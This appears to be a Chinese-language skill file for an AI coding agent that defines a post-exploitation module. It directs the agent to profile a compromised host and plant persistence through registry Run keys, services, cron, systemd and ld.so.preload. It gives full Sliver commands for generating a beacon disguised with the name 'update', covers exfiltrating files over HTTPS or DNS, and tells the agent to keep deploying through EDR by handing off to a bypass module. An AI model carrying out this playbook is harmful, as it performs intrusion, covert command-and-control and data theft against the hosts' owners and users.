pale-knight /post — 主机后渗透
scope： 已有 稳定 host foothold（不必 SYSTEM）后，做主机画像、host-native 持久化、长期 C2、定向收集/外带、清理。不做横移利用、域/云/K8s 平台持久化、本机提权、凭据破解。▸ 所选目标完成后，候选只认
~/.claude/skills/shared/modules.yaml（modules.py tail），由操作者选。
持久化/清理会改系统，每步等操作者确认。条件成立就做到验证（beacon 回连、任务还在），不要停在「生成了 exe」。
工具：../shared/tools.md。本模块默认不查 CVE。禁止开局把持久化/C2/清理七份全读；决策树走到哪项目标再 Read 那一份。
开局与收尾
开局第一件事：Read ./notes.md。没有则 python ~/.claude/skills/bin/notes.py init。只按已拿下/凭据继续。
走到哪条链，才 Read 一份 references/<file>.md。禁止开局全读、禁止凭记忆写 payload。
监听 / sudo / 输密码 / Permission denied：立刻停，说明等操作者做什么，等回报。不要假装已成功。
收尾：
- 追加
./notes.md python ~/.claude/skills/bin/modules.py tail <本模块名>Read 备用：~/.claude/skills/shared/modules.yaml禁止./modules.yaml和python ../bin/...- 优先
default_next；never_default不得当作默认（操作者点名除外） - 名册外的名字不许建议
- 停。等操作者选
/模块或/clear/edr-bypass半条链未完：打通后回本模块，不要 /clear。
0. 成功条件
操作者进本模块时选定 1～n 项目标：
稳定 host foothold
↓
A. 长期通道 → beacon 按约定 sleep 回连（不是 generate 成功）
B. 重启仍在 → logon/reboot 后仍能回来（至少查询到任务/服务/key + 一次回连）
C. 带走数据 → 指定文件到达操作机
D. 收工 → 本场投放物按 RESTORE 撤掉，notes 可复盘
↓
所选目标完成 → /post COMPLETE
不算成功： 只 generate、只加了 Run 没验证、只 find *.kdbx、只 wevtutil cl Security。
hashdump / getsystem / 网段枢轴 / AMSI patch 不是本模块正文（/creds /privesc-win /tunnel /edr-bypass）。
0.4 不要吸收
| 能力 | 模块 |
|---|---|
| Ligolo / 网段变可达 | /tunnel（会话里应急 portfwd 可以） |
| 会话稳定、传文件 | /shell |
| SAM/LSASS/DPAPI/Titus | /creds |
| Potato / getsystem | /privesc-win /privesc-linux |
| loader / PPL / WDAC | /edr-bypass |
| Golden Ticket / AD 对象 | /ad-attack |
| IAM AccessKey / Lambda | /cloud-attack |
| K8s RBAC / DaemonSet | /k8s |
0.5 Endpoint Defense Boundary — 可选 /edr-bypass Handoff
仍属 /post、不是 EDR：
防火墙挡住 C2 端口（换 listener/transport）
GPO 禁 WMI / 禁计划任务（换原语）
用户没有 HKLM 权限（改 HKCU 或先提权）
只有 implant/持久化二进制已经在 OS 执行或落地 且被 AV/EDR/AMSI/WDAC 隔离或杀死：
post primitive (drop / beacon / persist)
↓
endpoint security blocks intended action?
├─ NO → 继续 /post 直到所选目标完成
└─ YES → 操作者可临时选择 /edr-bypass
↓
恢复落地或回连能力
↓
返回 /post
↓
把 C2/持久化做完
不要因为场上有 EDR 就把 /post 改成「只讨论、不投放」。被拦再交接。
1. 决策树
稳定 foothold
↓
Quiet 主机画像（谁在用、出网、杀软产品名、域没域）
↓
这次要什么？（可多选，每项只 Read 一份）
画像 → references/host-recon.md
通道 → references/c2-sliver.md ；回连失败再 Read c2-opsec.md
留下 → Win: references/persistence-windows.md ；Linux: references/persistence-linux.md
带走 → references/collection-exfil.md ；密钥文件交 /creds
收工 → references/cleanup.md
↓
所选目标验证通过
2. Quiet 主机画像（先做）
whoami /all
quser
net session
net share
ipconfig /all
id; w; last -n 10
ip a; ip r; ss -tlnp
hostnamectl 2>/dev/null; echo $USERDNSDOMAIN
完整（会话、共享、出网、防御产品名）→ references/host-recon.md。不要跑 winPEAS。
3. Host-native 持久化
Windows 低权：HKCU Run / Startup / HKCU COM。
Windows 高权：HKLM Run / 服务 / SYSTEM 任务。WMI 高噪声，不当默认隐蔽。
Linux：authorized_keys、cron、systemd（含 user linger）、SUID；ld.so.preload 要 root。
写完必须查询验证，并记下 RESTORE。完整 → references/persistence-windows.md / references/persistence-linux.md。
平台持久化不要写在这里。
4. 长期 C2
P0 Sliver。看到 [*] Beacon <id>（或 session 交互）才算通道成功。
generate beacon --http C2 --os windows --arch amd64 --skip-symbols --seconds 60 --jitter 20 --name update
https --lhost 0.0.0.0 --lport 443
teamserver 不要对目标网暴露；implant → redirector → teamserver。完整 → references/c2-sliver.md、references/c2-opsec.md。
Mythic = P1。Havoc = 可选，先看仓库是否维护。Adaptix 只点名。会话内 socks5 应急可以；扫网段用 /tunnel。
5. 定向收集 / 外带
先写路径清单，再打包。默认 HTTPS；HTTPS 死再 DNS。撞到 .kdbx / .pem / credentials → /creds。完整 → references/collection-exfil.md。
6. 清理
先停 beacon、按持久化 RESTORE 撤投放物、删暂存 loot。默认不清 Security / auth.log 整卷。完整 → references/cleanup.md。
7. 完成后
目标：C2 / persist / loot / cleanup
验证：回连 ID / 任务名 / 文件哈希 / 已删对象
RESTORE 命令：
防御产品：
候选只按「开局与收尾」跑 python ~/.claude/skills/bin/modules.py tail。